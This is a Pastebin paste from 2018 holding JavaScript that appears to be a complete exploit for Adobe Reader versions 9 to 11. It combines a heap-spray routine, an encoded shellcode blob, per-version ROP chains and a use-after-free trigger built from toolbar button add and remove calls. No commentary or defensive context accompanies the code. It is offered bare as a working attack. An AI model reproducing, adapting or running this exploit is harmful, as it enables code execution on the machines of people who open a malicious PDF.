sarkanydavidhu

Untitled

Sep 21st, 2018
186
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. function heapSpray(str, str_addr, r_addr) {
  3.   var aaa = unescape("%u0c0c");
  4.   aaa += aaa;
  5.   while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
  6.   var i1 = r_addr - 0x24;
  7.   var bbb = aaa.substring(0, i1 / 2);
  8.   var sa = str_addr;
  9.   while (sa.length < (0x0c0c - r_addr)) sa += sa;
  10.   bbb += sa;
  11.   bbb += aaa;
  12.   var i11 = 0x0c0c - 0x24;
  13.   bbb = bbb.substring(0, i11 / 2);
  14.   bbb += str;
  15.   bbb += aaa;
  16.   var i2 = 0x4000 + 0xc000;
  17.   var ccc = bbb.substring(0, i2 / 2);
  18.   while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
  19.   var i3 = (0x1020 - 0x08) / 2;
  20.   var ddd = ccc.substring(0, 0x80000 - i3);
  21.   var eee = new Array();
  22.   for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
  23.   return;
  24. }
  25. var shellcode = unescape("%u6fbb%u49ad%ud9b7%ud9ee%u2474%u5af4%uc933%u53b1%uc283%u3104%u105a%u5a03%u8d10%ub558%ud35f%u46a3%ub3a0%ua32a%uf391%ua749%uc382%ue51a%ua82e%u1e4f%udca4%u1147%u6a0d%u1cbe%uc68e%u3f82%u140c%u9fd7%ud72d%ue12a%u056a%ub3c6%u4223%u2475%u1e47%ucf46%u8f1b%u2cce%uaeeb%ue2ff%ue967%u05df%u82ab%u1e69%uaea8%u9520%u451a%u7fb3%ua653%ube18%u555b%u8660%u855c%ufe17%u389e%uc520%ue6dd%udea5%u6d46%u3b1d%ua276%uc8f8%u0f74%u978e%u8e98%uac43%u1ba5%u6362%u5f2c%ua741%u0474%ufee8%uebd0%ue015%u54ba%u6ab0%u8156%u30c9%u663f%ucae0%ue0bf%ub873%uaf8d%u562f%u38be%ua1f6%u13c1%u3d4e%u9b3c%u17af%ucffb%u0fff%u6f2a%ucf94%ubad3%ud101%u4441%ud3be%u6395%u5d2e%u3b73%u0d1e%ufb2c%uedce%u939c%ue204%u83c3%u2826%u296c%u85c9%uc5c4%u8c70%u749f%u1a7c%ub6da%uaff6%u781a%udaff%u6c08%u249e%u6cd1%u250b%u68bb%u729d%u7253%ub5f8%u8dfc%uc62f%u71fb%uffae%u4770%u4024%ua7ef%u40a8%uf1ef%u40a2%ua587%u1296%uaab2%u0702%u3e6f%u7ead%ue9c3%u7cc5%udd3a%u7e49%u5e69%u808d%u42ef%ue936%uc20f%ue9c6%uc265%u8196%ued72%u6219%u247a%uea72%ua8f1%u8b30%ue106%u1595%u0506%u430e%uea8c%u6cb1%ud76c%u5567%u101a%ue2b4%u2b15%u4399%u53bc%u948d%u4195");
  26. var executable = "";
  27. var rop9 = unescape("%u313d%u4a82%ua713%u4a82%u1f90%u4a80%u9038%u4a84%u7e7d%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u155a%u4a80%u3a84%u4a84%ud4de%u4a82%u1f90%u4a80%u76aa%u4a84%u9030%u4a84%u4122%u4a84%u76aa%u4a84%u7e7d%u4a80%u3178%u4a81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u3a82%u4a84%u6c5e%u4a84%u76ab%u4a84%u87b7%u7c15%u0400%u0000%ue26c%u3116%u7984%u4a81%u3178%u4a81");
  28. var rop10 = unescape("%u6015%u4a82%ue090%u4a82%u007d%u4a82%u0038%u4a85%u46d5%u4a82%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u5016%u4a80%u420c%u4a84%u4241%u4a81%u007d%u4a82%u6015%u4a82%u0030%u4a85%ub49d%u4a84%u6015%u4a82%u46d5%u4a82%u4197%u4a81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u4013%u4a81%ue036%u4a84%ua8df%u4a82%ubcd9%u513d%u0400%u0000%ud721%uf88e%u8b31%u4a81%u4197%u4a81");
  29. var rop11 = unescape("%u822c%u4a85%uf129%u4a82%u597f%u4a85%u6038%u4a86%uf1d5%u4a83%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u1000%u0000%u0000%u0000%u5093%u4a85%u1d94%u0c06%u0030%u4a85%u597f%u4a85%u0031%u4a85%u0e38%u483a%u822c%u4a85%uf1d5%u4a83%ud4f8%u4a85%u6030%u4a86%u4864%u4a81%u0026%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u4856%u4a81%u05a0%u4a85%u0bc4%u4a86%u05a0%u4a85%uc376%u4a81%u63d0%u4a84%u0400%u0000%ud4f8%u4a85%ud4f8%u4a85%u4864%u4a81");
  30. var r11 = false;
  31. var vulnerable = true;
  32.  
  33. var obj_size;
  34. var rop;
  35. var ret_addr;
  36. var rop_addr;
  37. var r_addr;
  38.  
  39. if (app.viewerVersion >= 9 && app.viewerVersion < 10 && app.viewerVersion <= 9.504) {
  40.   obj_size = 0x330 + 0x1c;
  41.   rop = rop9;
  42.   ret_addr = unescape("%ua83e%u4a82");
  43.   rop_addr = unescape("%u08e8%u0c0c");
  44.   r_addr = 0x08e8;
  45. } else if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
  46.   obj_size = 0x360 + 0x1c;
  47.   rop = rop10;
  48.   rop_addr = unescape("%u08e4%u0c0c");
  49.   r_addr = 0x08e4;
  50.   ret_addr = unescape("%ua8df%u4a82");
  51. } else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
  52.   r11 = true;
  53.   obj_size = 0x370;
  54.   rop = rop11;
  55.   rop_addr = unescape("%u08a8%u0c0c");
  56.   r_addr = 0x08a8;
  57.   ret_addr = unescape("%u8003%u4a84");
  58. } else {
  59.   vulnerable = false;
  60. }
  61.  
  62. if (vulnerable) {
  63.   var payload = rop + shellcode;
  64.   heapSpray(payload, ret_addr, r_addr);
  65.  
  66.   var part1 = "";
  67.   if (!r11) {
  68.     for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
  69.   }
  70.   part1 += rop_addr;
  71.   var part2 = "";
  72.   var part2_len = obj_size - part1.length * 2;
  73.   for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
  74.   var arr = new Array();
  75.  
  76.   removeButtonFunc = function () {
  77.     app.removeToolButton({
  78.         cName: "evil"
  79.     });
  80.  
  81.     for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
  82.   }
  83.  
  84.   addButtonFunc = function () {
  85.     app.addToolButton({
  86.       cName: "xxx",
  87.       cExec: "1",
  88.       cEnable: "removeButtonFunc();"
  89.     });
  90.   }
  91.  
  92.   app.addToolButton({
  93.     cName: "evil",
  94.     cExec: "1",
  95.     cEnable: "addButtonFunc();"
  96.   });
  97. }
Advertisement
Add Comment
Please, Sign In to add comment